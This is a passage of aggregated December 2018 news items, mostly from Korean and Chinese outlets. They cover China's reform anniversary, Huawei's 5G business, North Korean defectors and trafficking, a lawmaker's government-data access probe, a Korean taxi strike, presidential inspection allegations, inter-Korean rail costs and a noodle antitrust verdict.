million Chinese leave the country every year and come back all of these things did not exist during the 1970s and the early part of the 1980s," he said. "China was changing in a very important way. But we make a mistake when we try to assume that there is a quick jump from here to there." Dr. Klaus Ebermann, a former European Union ambassador to China and a German national, told China Daily: "It (the past 40 years) has been a tremendous development. China has always impressed me by having a long-term view and perspective. A lot has been achieved, and China is on track. This 40 years of development is indication for the decades to come." "I think the relationship (between China and Europe) is a solid one. A solid bridge has been built over these 40 years. China-EU trade is doing extremely well despite all the talks in the media. The real world between China and European Union and European countries has been stabilized by the exchanges in trade, in business, in science and technology, in people to people exchange." Cavince Adhere, a Kenya-based scholar on China-Africa relationship, said there is no doubt that China has emerged as a major development partner for Africa. Contrary to the recently launched US-Africa Policy, President Xi struck a more collaborative and persuasive tone in its international engagements. Outstanding figures are awarded medals of reform pioneers at the gathering. [Photo/Xinhua] "China offers many lessons for Africa's development agenda. Beijing's legendary poverty reduction and social safety net that has seen China lift more than 740 million people out of extreme poverty is an enviable example that Africa should emulate," he said. "As a leading economy in the world, China's presence can't be wished away. It however behooves Beijing to approach international politics in manner that safeguards the very tents that has facilitated its peaceful rise." Liu Yinmeng in Los Angeles, Chen Weihua in Brussels, Angus McNeice in London and Tang Ying in Nairobi contributed to this story. (Photo/China Daily) Vote of faith won in India, as business remains on track in Germany, France Even though it faces security allegations in several developed markets, Chinese technology major Huawei said on Wednesday that its global operations remain stable, with businesses in Germany running normally and its involvement in 5G construction by French telecom operators remaining active. The comment came shortly after Huawei won a vote of faith in India, which had invited the Shenzhen-based company to conduct local 5G trials. Analysts said the Indian government invitation and foreign companies' willingness to use Huawei's products highlight the trustworthiness of the company and provide a testament to Huawei's technological prowess. In an internal statement to employees on Wednesday, Huawei said that in addition to business in Germany and France, the company is also replying to Japanese operators' 5G bid and actively participating in local 5G trials. Though the New Zealand government has not approved a 5G proposal submitted by a local operator that is a Huawei partner, the regulatory process has not finished and local customers said they will continue to communicate with the government and hope that their cooperation with Huawei will remain unchanged, Huawei added. Foreign Ministry spokeswoman Hua Chunying said on Wednesday that Huawei's products and services are widely recognized. No factual evidence has been given to support security allegations against Huawei, and some countries are politicizing normal technological cooperation, Hua added. The company said it has already secured 25 commercial contracts for 5G and shipped more than 10,000 base stations for the superfast technology. It also has inked deals with more than 50 partners from around the world, demonstrating the confidence its clients have in the company. The comments came after some foreign governments voiced security concerns over products made by the world's largest maker of telecom equipment and the world's second-largest smartphone vendor. In the third quarter of 2018, Huawei had a 28 percent share of the global telecom equipment market and accounted for 14.6 percent of worldwide smartphone shipments, according to market research companies Dell'Oro Group and International Data Corp. Wang Yanhui, secretary-general of the Mobile China Alliance, said Huawei is a global pioneer in research and development for 5G telecom equipment. India wants to have a fast rollout of next-generation technology, so it called Huawei, Wang said. "Participating in 5G trials is an important step to build up trust." Bai Ming, a researcher at the Chinese Academy of International Trade and Economic Cooperation, said it is unreasonable for foreign countries to doubt the safety of Huawei's products just because it is a Chinese company. Xiang Ligang, founder of the telecom website cctime, said Huawei has established an image as a reliable technology provider in the past three decades. With countries around the world expected to deploy large-scale 5G networks in a year or two, there will be a huge demand for telecom equipment. Research agency IHS Markit forecast that the global market for 5G telecom equipment will hit $11 billion by 2022. "Huawei's cost-effective products and its ability to quickly respond to clients are the keys to keeping prices affordable and to ensuring a timely deployment of 5G around the world," Xiang said. Hyundai Card held its 2018 Studio Black Demo Day, Dec. 14, for startups operating inside the credit card company's Studio Black in Seocho-dong, Seoul, it said Thursday. At the event, 12 teams of entrepreneurs presented their business ideas and models, and demonstrated their products and services in front of not only officials from Hyundai Card, but also venture capitalists. This is the second time Hyundai Card has held the Demo Day for startups. A variety of ideas and models for open platforms using the latest technologies were presented, ranging from virtual reality, financial technology to video chats and artificial intelligence. Some of them had the potential to tie their businesses with Hyundai Card. The company said it launched the studio in 2017 aimed at boosting ties with startups and to help create a sustainable ecosystem. "We seek to generate synergy with startups by sharing ideas," said a Hyundai Card official. In 2017, Hyundai Card not only helped startups "develop and scale up" their businesses, but also introduce them to venture capital investors such as Kakao Ventures and DSC Investment. Some founders were able to raise funds via Wadiz, a crowdfunding platform, after participating in the Demo Day last year. Yozma Group Korea CEO Lee Won-jae said Studio Black has gained an exceptional reputation in a short period of time. Yozma is the local unit of an Israel-based venture capital firm. "There is a saying here: All you need to do is press the elevator button to go up to Studio Black to see potential startups," Lee said. "Studio Black is the best base camp for startups." Yozma funding usually comes in the third stage of fundraising where it will invest in startups to further help them grow in the market. Hyundai Card is part of Hyundai Motor Group. By Kang Seung-woo In the Korean hospitality industry, where more and more new hotels are arriving, the 30-year-old Grand Hilton Seoul is regarded as a little bit "old-fashioned" a characteristic making the property seem less competitive. Bernhard Brender, general manager of the Grand Hilton Seoul Chef David Lee grills meat at the Meat Cuisine restaurant in Seoul in this file photo. Courtesy of S Food By Park Jae-hyuk A Korean chef, who has worked at several Michelin-starred restaurants in New York since 2005, recently returned home allowing gourmands in Korea to enjoy various unique meat dishes. The chef is David Lee, who joined the Meat Cuisine restaurant in southeastern Seoul as its head cook. The chef, who introduced modernized Korean food to American customers, said he has now begun acquainting Korean diners with global food industry trends. "Unlike the past when I left for the United States, Korea has opened its doors to international cuisine and chefs are viewed in a positive light. This is why I wanted to work in Korea," he said at his restaurant, during a recent interview with The Korea Times. "I have selected some similar features of dishes from Korea, America and Europe for familiarity. I have been trying to come up with interesting dishes beyond the authentic and classical." During the interview, Lee seemed to be optimistic about his new challenge. However, it was not easy for him to make the decision to return to Korea. "I was concerned about my decision, because my wife and children have U.S. citizenship," he said. "I was also worried about my first career in Korea." What moved the chef specializing in meat dishes was the distinguishing feature of the Meat Cuisine's operator, S Food. "I began trusting in the company, after being made aware of its continuous efforts to introduce a variety of quality meat products to Korea," he said. "Also, it was a good opportunity for me to work with a larger company with various backup departments." According to the chef, Meat Cuisine uses meat from farms that are certified by Johncook Deli Meats, a delicatessen brand of S Food. It uses antibiotic-free Korean beef from Sulsung Farm and Korean pork from Sungwoo Farm that puts pigs out to pasture. Iberico pork from Spain is also used in the restaurant. Lee, who is busy keeping up with the year-end demand, said he will continue to work with S Food to introduce various foods to Korea. By Jung Da-min North Korea has declared war on official corruption. The Workers' Party of Korea's (WPK) newspaper Rodong Sinmun published two editorials on Wednesday and Thursday criticizing the bureaucracy and improper power yielding by corrupted officials. On Dec. 10 it ran a front-page editorial on the issue. "One of the most important reasons for the collapse of socialism in the Eastern European countries of the past was that the officials had improperly exerted authority in bureaucracy and indulged in privileges," Rodong Sinmun said Thursday. The title of the editorial was "Our party's ideal workers with sincerity." It continued: "Power yielding, bureaucracy and corruption are unacceptable enemies of our party that struggles to adhere to and maintain the status as a mother party in charge of the fate of the people." The strong warning against corrupted officials came as the North Korean leadership has been promoting the "excellence" of the country's socialist economy. It has argued that the country's economy has performed well despite international sanctions, calling for the people's unity to fight against them. A young North Korean woman who was forced to work as a "webcam girl" in an apartment in China escapes on Oct. 27, with help from officials at the Durihana Mission, which has been assisting North Korean defectors since the 1990s. Courtesy of Durihana Mission By Jung Da-min Many North Koreans who flee their country, especially young women, are trapped by brokers and sold into marriage to Chinese farmers or forced into sex work as cam girls or in brothels, according to the leader of a group that helps defectors. Pastor Chun Ki-won, of the Durihana Mission in Seoul, said the situation has worsened because of tighter border controls between the two countries and China's internal crackdown. Pastor Chun Ki-won of the Durihana Mission / Korea Times file "From the moment North Korean women defectors see the brokers pay North Korean soldiers on the crossing, they are at the mercy of the brokers, as they have to pay the money back," says Chun, who has been helping North Korean defectors since the 1990s. "Whether they knew it or not, or whether they wanted it or not, they are victims of human trafficking that has become a systemized method to defect from North Korea to China." Most of the North Korean defectors are women and many are in their 20s or younger, he said. The interview was held at his mission in southern Seoul on Dec. 17. Chun rescued two North Korean women recently who had been confined in an apartment in China and forced to work as "cam girls" for a porn site. The two, now 27 and 24, worked there for five and eight years, respectively. When they left North Korea, they had not dreamt they would end up as sex workers. The two were deceived by a Chinese man who told them he would free them if they "work hard" for a couple of years, but he did not keep his word. Pastor Chun Ki-won with the two North Korean women he rescued from an apartment in China where they were forced to work as "webcam girls." Courtesy of Durihana Mission Indian Foreign Minister Sushma Swaraj (R) shakes hands with South Korean Foreign Minister Kang Kyung-wha prior to a meeting in New Delhi on December 19, 2018. AFP-Yonhap The top diplomats of South Korea and India agreed Wednesday to enhance cooperation in the arms industry and expand people-to-people exchanges, Seoul's foreign ministry said. Foreign Minister Kang Kyung-wha and her Indian counterpart Sushma Swaraj held their joint committee meeting in New Delhi to evaluate bilateral ties and cooperation in various areas, including the economy, science and technology, the ministry said in a press release. The two sides agreed to continuously consult over how to expand defense industry cooperation through such means as exporting South Korea's advanced defense materials to India. To strengthen the foundation for bilateral cooperation, the two also agreed to seek measures to expand people-to-people exchanges, including enhancing procedures to support South Korean citizens living in India. India's Foreign Minister Sushma Swaraj and her South Korean counterpart Kang Kyung-wha arrive for a photo opportunity in New Delhi, India, December 19, 2018. REUTERS-Yonhap South Korean Prime Minister Lee Nak-yon, in circle, speaks on the phone to Fayez al-Sarraj, chairman of the Presidential Council of Libya, during his state visit to Tunisia on Dec. 19 to ask for support in releasing a South Korean and three Filipino nationals who were abducted by armed militants from their worksite in Lybia in July this year. Yonhap, Reuters South Korean Prime Minister Lee Nak-yon has asked the Libyan government to help win the safe release of a South Korean and three Filipino workers abducted in the African country, the prime minister's office said Thursday. The request came in a telephone conversation with Fayez al-Sarraj, chairman of the Presidential Council of Libya, according to the office. The call was made Wednesday from Tunisia, where the South Korean prime minister is making a visit. South Korean Prime Minister Lee Nak-yon, left, meets the President of Tunisia Beji Caid Essebsi at Carthage Palace, Tunisia's presidential palace, Dec. 19. Yonhap Police have sent papers to prosecutors on a Thai woman suspected of violating immigration law by illegally brokering Thai nationals to massage parlors in South Korea, the Justice Ministry said Thursday. The special investigation team at the Korea Immigration Service has arrested and recommended an indictment against the 30-year-old woman. With the help of a South Korean accomplice, she introduced dozens of Thai women, who entered South Korea on tourist visas, to massage parlors from September last year to May this year and took tens of millions won as fees for the brokering, the ministry said. Whenever the woman introduced a masseuse to a massage shop, she was paid 1.5 million won (around US$1,333) from the masseuse and 500,000 won to 1.1 million won from the shop. The Thai is also suspected of having arranged a fake marriage with a South Korean man in his 50s to allow her to remain in South Korea over the long term. She paid the man about 8 million won for the marriage. The police have sent the two Korean accomplices to prosecution without detention. According to the ministry's statistics, the number of Thai nationals staying in South Korea came to 194,000 as of November, about a two-fold increase from the 101,000 recorded in late 2016. Under the visa arrangements, Thai visitors are allowed to enter South Korea with a maximum stay of 90 days per visit without a visa. (Yonhap) By Park Si-soo An American who has lived in South Korea for 20 years was arrested for robbing a lottery shop in Busan, police said Thursday. According to Haeundae Police Station, the U.S. citizen, 63, entered the shop near Haeundae beach masked on Wednesday night, assaulted its manager and got away with bundles of cash (510,000 won, or $451). The manager followed him shouting for help. The American was caught after police shot him with a stun gun. He reportedly told police he had committed the crime "for money." According to police, the American entered the country in 1988 and taught English until 2011. He is jobless. By Jung Hae-myoung A Thai woman was detained for allegedly brokering dozens of Thai women to massage parlors in Korea, the Korea Immigration Service said, Thursday. The immigration office sent the case to the prosecution, requesting arrest and indictment. The woman, 30, whose name was withheld, allegedly brokered dozens of Thai women, who came to the country under a visa waiver program for tourists, to work in massage parlors from September 2017 to May this year. She conspired with a 33-year-old Korean man surnamed Hwang. They received 1.5 million won ($1,300) from each of the Thai women for "introducing jobs" and 500,000 to 1.1 million won from the parlor owners. To stay in the country, the broker filed a fake marriage registration with a 51-year-old Korean man, Kwak, after paying him 8.6 million won. The police also sent the cases of Hwang and Kwak to the prosecution without requesting detention. This year, the immigration office detected 81 people involved in illegal immigration schemes, with 16 of them being arrested. According to a visa agreement, Thai people are allowed to stay in Korea for up to 90 days without a visa. China and the U.S. held a "vice-ministerial level" telephone call on trade and other economic issues, according to a statement by China's Ministry of Commerce released on Wednesday. Foreign ministry spokesperson Hua Chunying said Tuesday at a press conference that Chinese and U.S. trade teams are maintaining close communication in accordance with the important consensus reached by the two heads of state during their meeting. Last week, China announced that it will suspend the 25-percent tariffs on 144 U.S.-made vehicles and auto parts, and five-percent tariffs on 67 auto items until March 31, 2019, instead of implementing them on the previously announced date of January 1. The move is a demonstration of the country's implementation of consensus agreed by both sides. Chinese President Xi Jinping and his U.S. counterpart Donald Trump agreed during the G20 summit earlier this month to continue the trade talks between the two countries and stop imposing new tariffs. Rep. Shim Jae-cheol speaks to the press upon his arrival at the Seoul Central District Court in Seoul, Thursday. /Yohnap By Kim Jae-heun The prosecution summoned Rep. Shim Jae-cheol of the main opposition Liberty Korea Party, Thursday, to question him over an allegation that he and his aides leaked budget-related government data without authorization. The questioning comes three months after the controversy emerged and the Ministry of Economy and Finance filed a complaint against Shim's three aides for violating the Information Communications Network Act and Electronic Government Act on Sept. 17. It was the first time the ministry has filed a complaint against an incumbent lawmaker. "The national budget is precious tax money paid by the people. I've been ordered by the people and been given a right by the people to monitor the government, and revealed their wrongful use of the budget," Shim said upon his arrival at the Seoul Central District Court. "However, the government and the ruling party are trying to muzzle me by falsely accusing me of divulging state secrets." In addition, Shim emphasized that his aides did not use any illegal means to access the government materials. He also criticized the prosecution for raiding his offices and looking into his phone records as well as those of his family and aides. Prosecutors suspect that Shim had browsed over 1 million pages of undisclosed documents related to the ministry's finance plan. They questioned him over whether he ordered his staffers to download the unapproved information and if he knew that it was an illegal act to leak such material. The ministry argued that Shim's aides accessed the government's finance information analyzing system over 190 times using illegal methods, and garnered over a million unauthorized administrative files owned by 30 different government bodies including the Presidential Secretariat, Office of the Prime Minister and the Supreme Court. Shim has limited access to the system but the aides downloaded materials that were not permitted for lawmakers to access. The lawmaker has been disputing the allegation, adding they did not use any illegal methods like hacking but gained access accidentally when they pressed the backspace key several times. Shim also demonstrated how he had reached the system during a National Assembly session. Still, the finance ministry claims it was impossible for only a few clicks of the backspace key to have led them to the government's unauthorized information, which requires sophisticated computing techniques like hacking. The ministry further argued that even if the lawmaker reached to the system accidentally, it is illegal to download the materials continuously while knowing that they contain unauthorized information. With the data, Shim accused Cheong Wa Dae of improper use of 240 million won of national budget. He claimed that some presidential office staffers used the money at bars over the weekends. Prosecutors have not questioned him until recently because the National Assembly's regular sessions were ongoing. As the sessions finished, the prosecution is expected to speed up the investigation and decide soon whether to indict the lawmaker. By Park Si-soo Korea Times photographer Choi Won-suk has won consecutive awards at the monthly news photography contest hosted by the Korea Press Photographers' Association (KPPA). He was awarded the best news photography prize for November in the portrait category for his photo titled "Forced labor and tears that don't stop running for 70 years." , he won in the same category with "Mom, we will get together again, someday." The photo, taken on Nov. 21 in Seoul and released on Nov. 29, shows Kim Jung-ju, 87, a wartime forced laborer at Nachi-Fujikoshi's aircraft parts factory in 1945, wiping away tears while recollecting her ordeal. Kim, a native of Suncheon, South Jeolla Province, was one of over 1,000 teenage girls who were part of an all-female "volunteer labor corps" mobilized to assemble Japan's war supplies at a factory run by Nachi-Fujikoshi from 1944 to 1945. Choi joined The Korea Times in 2014 after working at AFP, Getty Images and Arirang TV. Taxi drivers stage a strike against a planned commercial ridesharing service in front of the National Assembly in Seoul, Thursday. Korea Times photo by Shim Hyun-chul By Kang Seung-woo Hundreds of thousands of taxi drivers nationwide stopped services, Thursday, in a one-day strike against a planned commercial ridesharing service they fear will threaten their livelihood. As part of the massive walk-off, 100,000 taxi drivers from Seoul and other areas flocked to the front of the National Assembly on Yeouido, Seoul, for their third such rally, where they protested against Kakao Mobility's new ridesharing app. The strike occurred as tensions have escalated following a Seoul-based taxi driver setting himself on fire in an apparent suicide in front of the Assembly earlier this month. In fact, the previous rallies in October and November drew 70,000 and 40,000, respectively. The nationwide strike began at 4 a.m., and 250,000 taxi drivers temporarily suspended operations for 24 hours, forcing them to use other transportation. According to combined data from the taxi industry, more than 90 percent of taxis in Incheon, Busan and Daegu stopped operations. Even on the island of Jeju, where many foreign tourists take taxis, a large number were unavailable. According to the Ministry of Land, Infrastructure and Transport, 30 percent fewer taxis were available compared with Wednesday. Mired in an allegation of having illegally investigated intelligence from civilians and politicians, South Korean President Moon Jae-in speaks during the Ministry of National Defense's debriefing on its 2019 agenda at its headquarters in Yongsan-gu District in Seoul, Thursday. Yonhap The presidential office Cheong Wa Dae remained on the defensive Thursday amid a controversy raised by one of its own former staff members who confessed to having illegally investigated civilians. The attacks began shortly after Kim Tae-woo, a special inspector from the prosecution, was ordered to return to his original post for allegedly attempting to interfere with a police investigation involving one of his acquaintances. The former Cheong Wa Dae official denies the allegation and instead claims he was relieved of duty because his reports had included corruption allegations against those close to President Moon Jae-in and the ruling Democratic Party (DP), including Woo Yoon-keun, a former lawmaker of the DP and the incumbent ambassador to Russia. The main opposition Liberty Korea Party floor leader Na Kyung-won, center, speaks during the emergency meeting at the National Assembly, Tuesday, convened in interest of Cheong Wa Dae's alleged illegal intelligence gathering on civilians and politicians. Yonhap Cheong Wa Dae said Kim's report on Woo was quickly dismissed, as the corruption allegation against the ambassador had been found to be groundless and also because Woo should not have been subject to Cheong Wa Dae inspection under its own regulations prohibiting the inspection of civilians or politicians who are not appointed by the president. Kim came back to claim he had investigated many civilians while working as a Cheong Wa Dae inspector, often on a direct order from his superior, Park Hyoung-chul, secretary to President Moon Jae-in for anti-corruption. Park rejected the accusation when speaking to reporters Wednesday, saying the former inspector acted on his own and that most of his reports involving civilians had been discarded for that same reason. Civilian inspection is a specially sensitive, if not emotional, issue for the Moon Jae-in administration, which has accused former conservative governments under Lee Myung-bak and Park Geun-hye of having conducted such illegal inspections as a way of silencing their critics and ensuring their own political and economic gains. In a press conference at Cheong Wa Dae on Tuesday, the presidential office spokesman Kim Eui-kyeom denied the allegation on the Moon Jae-in administration that it illegally gathered intelligence on civilians and politicians, saying "there is no such thing in the genes of the Moon administration." Yonhap U.S. Special Representative for North Korea Stephen Biegun speaks to reporters after arriving at Incheon International Airport, Thursday. Yonhap Rep. Choi Gyo-il of the main opposition Liberty Korea reads the list of alleged Cheong Wa Dae inspection reports on civilians made by a former member of the presidential office's special inspection team during a party meeting for a fact-finding at the National Assembly. Yonhap By Park Ji-won Cheong Wa Dae and the main opposition Liberty Korea Party (LKP) clashed, Thursday, over claims by a former presidential staffer that the presidential office has spied on politicians and a conservative newspaper. The LKP and other conservative parties are going all-out to raise political offensives against key aides of President Moon Jae-in who they believe were behind the alleged surveillance activities. However, the ruling camp claims the conservatives are engaged in excessive political maneuvering based on groundless allegations raised by a former staffer who is now under a corruption investigation. LKP floor leader Rep. Na Kyung-won revealed documents showing the names of figures allegedly spied on by Kim Tae-woo, a prosecution investigator who worked with the presidential office's special inspection team, in a party meeting, Wednesday. "This is a very serious case," Na said, asking for Cheong Wa Dae's explanations on the matter. Na claimed Kim spied on the figures while working at Cheong Wa Dae and reported his surveillance activities to his boss. The list includes political heavyweights such as former LKP leader and presidential candidate Hong Joon-pyo, Ambassador to Russia Woo Yoon-keun and the conservative newspaper Chosun Ilbo, as well as a number of journalists and professors. The details of the documents weren't disclosed immediately. "It seems that the presidential office randomly spied on civilians according to the lists. It is time for Cheong Wa Dae to answer it," Na said. The move came amid allegations of Cheong Wa Dae officials' recent misconducts including a presidential secretary found driving drunk and Kim allegedly influencing police investigations. The special inspector from the prosecution was ordered last month to return to his original post for allegedly trying to interfere with a police investigation for one of his acquaintances. The opposition camp possibly aimed to use the situation as leverage against the administration to find a breakthrough for conservative unification. Meanwhile, the LKP has decided to file complaints with the prosecution against Cheong Wa Dae officials including Cho Kuk, the senior presidential secretary for civil affairs, and Im Jong-seok, the presidential chief of staff, for abuse of power and negligence of duty. The LKP and the smaller opposition Bareunmirae Party also vowed to push for a parliamentary investigation or a probe by an independent counsel, if necessary. Meanwhile, the ruling camp denied the LKP's claim as Kim conducted the alleged illicit inspection on his own and unauthorized documents were scrapped or not reported. On Wednesday, Cheong Wa Dae filed a complaint with the prosecution against him, alleging that Kim divulged governmental secrets to the public. In a press briefing, Park Hyeong-chul, presidential anti-corruption secretary and Kim's boss, said Wednesday that the unnecessary information reported by him was discarded and Kim gathered some information without instruction from the team. The ruling Democratic Party of Korea (DPK) urged the opposition camp to stop its political attack mirroring the past administrations' surveillance incidents. Rep. Seo Young-kyo, senior vice floor leader of the DPK, said "The Lee Myung-bak administration conducted illegal surveillance on key figures of environmental activists, for example, those who stood against the Four Major Rivers Restoration Project. The Defense Security Command under the Park Geun-hye administration illegally inspected the bereaved families of missing students in the sinking of the ferry Sewol and students of their high school." "The opposition camp should stop attacking (the ruling camp) by using the information obtained by a special inspector who was sent back to the original post due to his illegalities." President Moon Jae-in salutes the national flag before the start of a briefing on the defense ministry's policies for next year, held at its headquarters in Yongsan, Seoul, Thursday. At left is Defense Minister Jeong Kyeong-doo, and right, Hong Young-pyo, the ruling Democratic Party of Korea floor leader. Yonhap By Kim Yoo-chul President Moon Jae-in said Thursday South Korea will maintain a strong military although a potential peace process is underway. "How to maintain strong troop readiness is a top priority under my watch. We should maintain continuity and keep a strong defense because I believe peace can be achieved when we have a stronger military," Moon said during a meeting with top generals and commanders. This was held on the sidelines of the President's participation in a briefing on the Ministry of National Defense's priorities for next year, held at its headquarters in Yongsan, downtown Seoul. Moon added that his summits with North Korean leader Kim Jong-un this year were momentous in terms of progress in talks regarding the North's denuclearization. But despite this, Moon asked the ministry to "do more" to gain the trust of the public by pushing forward with military reform. "What you have to do is move ahead with reform timely to ensure that the military is ready to defend the country from any external threats. The public is watching the ministry and its central role in reform, and it is the people who will evaluate this. I want you to be more transparent with regard to military budget spending," Moon said. President Moon Jae-in delivers a speech in a meeting with top defense ministry officials and commanders on the ministry's briefing on its top policy objectives for next year, at the ministry's headquarters in Yongsan, downtown Seoul, Thursday. Yonhap By Choe Chong-dae My wife and I recently travelled to the municipality of Concepcion, Iloilo, Philippines, as part of the delegation of the Korea Heritage Society from Dec. 4 to Dec 10. The KHS was led by its chairman Choi Ha-kyung and advisory council members, at the invitation of Milliard S. Villanueva, the mayor of Concepcion. Our visit was in response to a tourism promotion trip by Concepcion municipal officials to Seoul in September. The goodwill and friendship relationship was set up between Concepcion and the Korea Heritage Society in order to promote cultural exchanges between Korea and the Philippines. We will long remember the incredible beauty, and the rich cultural life of Concepcion and its surrounding fishing villages and islands. They exemplify the value of environmental protection and conservation. While in Conception, we were fortunate to be able to join in the city's most popular, annual, religious festival. With the theme of "a decade of resiliency, progress and good governance, a challenge for sustainability," the 2018 festival took place over several days and included parades with the festival King and Queen, a carnival, and musical performances. Huge crowds of Concepcion citizens irrespective of age, gender and social standing packed into the streets and the municipal auditorium to celebrate the festival. The citizens of Concepcion created an enthusiastic and spirited atmosphere. The fiesta is an endearing Filipino tradition celebrated to express appreciation to God for the blessings bestowed on their lives and their town over the past year. Diverse events are held to commemorate the occasion that honors the town's patron saint, Mary of the Immaculate Concepcion. People of Concepcion believe that the intercession of their patron saint is behind the peace and progress that the municipality has received from God. It is on this faith that the local citizens strive to create a beloved community that cooperates and unites for the prosperity of their town. The Philippine-Korea cultural and friendship program was held at the municipal auditorium Dec 7. During the event, 23 members of the Korean delegation were honored with Certificates of Appreciation from the mayor of the Municipality of Concepcion. The event was enhanced by a romantic Korean and Filipino musical concert with dances and songs. The Korean delegation offered Filipinos an opportunity to experience unique Korean culture such as traditional Korean classical music and dance. The Korean women in the delegation wore hanbok, the elegant Korean traditional dress, to demonstrate Korea's traditional style. Pansori including "Sarang-ga," "Yangsan-do" and "Jaangbu-taryeong" a traditional Korean genre of musical storytelling, was sung by Choi Ha-kyung and accompanied by drummer Cho Chang-yeob. It deeply moved the audience. Beautiful renditions of "You Are My Sunshine" and "Edelweiss" sung by the mixed quartet, Park Ki-an, Lee Yong-wou, Park Kea-ok and Park Kyung-ae, created a warm, familiar atmosphere. Other highlights included singing Arirang, the unique Korean folk ballad. It was sung by the Korean delegation. Everyone in the auditorium held hands and sang the song together, dancing in a circle. All were very moved by the emotional atmosphere. They transcended personal differences and became one people. Concepcion is a developing coastal town that lacks infrastructure. However, it has great potential to boost its fishing industry and attract tourists if it can complete the rehabilitation of the three Iloilo ports to accommodate passenger ships. Tack Kee-joo is the only Korean who resides in Concepcion. He is a volunteer with the Korea International Cooperation Agency (KOICA). His efforts remind me of U.S. Peace Corp volunteers who worked in rural areas of Korea from 1966 to 1981 when Korea was still a poor, developing country by global standards. Choe Chong-dae (choecd@naver.com) is a guest columnist of The Korea Times. He is president of Dae-kwang International Co., and director of the Korean-Swedish Association. By Donald Kirk The notion of opening a rail service between South and North Korea is captivating. You have to hope that someday the dream will come true and trains will be hauling passengers and freight from South to North and back again as they should have been doing for many years. There are, however, obstacles that make the idea somewhat unrealistic. Quite aside from U.S. and U.N. sanctions that prohibit construction right away, other issues may be more serious. For one thing, there's the cost. Who's going to pay for overhauling the North's railroads? Experts from South Korea, after studying first the western and then the eastern rail system in North Korea, say the entire network is in awful shape. After 10 days looking at the tracks, roadbeds, bridges and tunnels of the North's eastern rail system, Lim Jong-il, director of the railway construction division of the railway bureau of the Ministry of Land, Infrastructure and Transport, refrained from blunt language as he talked about what he and his colleagues had seen. The eastern line, said Lim, was "almost the same" as the western line, which the team had inspected earlier and was bad enough. "More in-depth inspections" would be necessary, he said, acknowledging his experts needed much more time, months or even years, closely examining everything to do with the North Korean system before reconstruction and repair can begin. Will North Koreans permit microscopic study of their system? How deeply can South Koreans delve into the North's infrastructure before the North Koreans decide they're spying, jeopardizing security? Let's say the South Koreans eventually get past issues of security and sanctions. It's fine to dream of the North-South trains running at last, but the price of fixing the system will run into the billions of dollars, or trillions of won. No one knows the final price tag, but one estimate comes to upwards of $40 billion. Who, exactly, will pick up this tab? Can the South cover the costs in a time of economic uncertainty at home? Should South Korean taxpayers have to pay for the North's new railroads while the North invests precious funds not only on nukes and missiles but also on a conventional military establishment of more than 1 million troops? Might Kim Jong-un abandon his nuclear program and vastly scale down his armed forces, allocating the savings to upgrading the North's railroads and roads and much else, including medical care and food for his people? Yet another question arises. Who's going to provide the labor? Would South Koreans be working on the North's railroads, taking advantage of their experience on the South's great system? And if North Korea provides thousands of its people to carry out the South Korean plan, how much would they get paid, and by whom? Would it be too much to tell Kim, no forced labor, no de facto slavery? And that's not all. The team inspecting the North's eastern system had to return from North Korea by bus even though Hyundai Construction built a single-track line nearly 20 years ago to carry tourists from the station on the south side of the Demilitarized Zone in the northeastern corner of South Korea to Mount Geumgang, looming north of the DMZ. That line remains unused. U.S. Army Captain Eric Estrada, with the Military Armistice Commission of the United Nations Command, told me the gleaming new station was empty. Nor does any line run up the South Korean east coast all the way to the DMZ. A single track, built during the Japanese colonial era, has long since been scrapped. That's in contrast to the west coast line, which runs up to Dorasan Station before linking to the track, also not used, also built by Hyundai, to the Gaeseong Industrial Complex inside North Korea. In other words, even if sanctions are removed and serious work begins on the North Korean system, the eastern line has to be extended northward from Gangneung more than 100 kilometers below the DMZ. Again, the total price tag for that segment would be well into the billions of dollars an investment that's needed if freight is to move from Busan, one of the world's biggest port complexes, up the Korean Peninsula to Russia and Eastern Europe. In the interest of reality, one conclusion is inescapable. Though the road may be paved with good intentions, don't count on the trains running up and down the east and west coasts of the Korean Peninsula any time soon. Donald Kirk (www.donaldkirk.com) has been covering the ups and downs of the confrontation between South and North Korea for decades. President Moon Jae-in, front row center, poses with United Arab Emirates government officials at the Unit 1 of the Barakah nuclear power plant in this March 26 file photo. / Yonhap Korea Hydro & Nuclear Power CEO Chung Jae-hoon A group of J-10 fighter jets attached to an aviation brigade of the air force under the PLA Northern Theater Command fly in formation to a designated aerial space during a recent flight training exercise. (eng.chinamil.com.cn/Photo by Xue Xiaoling) Skiers line up to try Nongshim Shin Ramyun at Mount High Resort in California in this file photo. / Courtesy of Nongshim By Park Jae-hyuk Nongshim and Ottogi have won an antitrust class action lawsuit filed against them in the United States five years ago for their alleged price-fixing, according to industry officials Thursday. On Monday, a federal jury in San Francisco rejected antitrust price-fixing claims by certified classes of direct and indirect buyers of instant noodles. The jury said there is no proof that the two Korean firms had conspired to illegally fix noodle prices in Korea and the U.S. Given that rulings on most antitrust class actions follow jury verdicts, the jury's conclusion has been regarded as a "significant victory" for the food firms. "It is quite rare for antitrust class action cases to go to verdict in the U.S., and we are delighted with the jury's conclusion," Mark Dosker, a partner in the San Francisco office of Squire Patton Boggs, who defended Nongshim at trial, said in a statement. Partners in Gibson, Dunn & Crutcher, who defended Ottogi at trial, were also pleased with the decision. "We are grateful that the jury vindicated the position of our client Ottogi, which did nothing wrong," Ottogi's lead counsel Rachel Brass was quoted as saying. Scott Edelman, another partner in Gibson, Dunn & Crutcher, reportedly said, "We are thrilled for our client. It was a decisive vindication for them. The jury spent over five weeks deliberating over evidence,'' adding, "I just think that the evidence and the experts the plaintiffs put forward were not convincing." Ottogi Jin Ramen is on display at Nonghyup Hanaro Mart's Yangjae store in southeastern Seoul, Wednesday. / Yonhap The instant noodle makers have been embroiled in the legal battle in the U.S., since the Plaza Company, which runs the Plaza Market in Los Angeles' Koreatown, filed a lawsuit in 2013 against Nongshim, Samyang Foods, Korea Yakult and Ottogi, alleging they held a meeting at the Renaissance Seoul Hotel in 2000 and agreed to collectively raise instant noodle prices for the next eight years. The lawsuit came after the release of the Korean Fair Trade Commission's investigative report in 2012 specifying alleged collusion among the food firms. The antitrust watchdog fined the companies 136 billion won ($125 million) at that time. Since then, Pitco Foods, Summit Import and California Market joined in the lawsuit, demanding nearly $500 million in damages and attorneys' fees. Although the Korean government order was later reversed by the Supreme Court in 2015, the food firms have had to defend themselves in the U.S., spending a significant amount of money. Samyang Foods settled with the retailers in 2016 for $1.5 million. By Park Si-soo Japan will resume commercial whaling next year despite international condemnation, according to reports. Japan will withdraw from the International Whaling Commission (IWC) by the end of December, Kyodo news agency reported on Thursday, citing unnamed government sources. The move comes months after the IWC voted down Japan's bid to resume commercial whaling. Kyodo said the 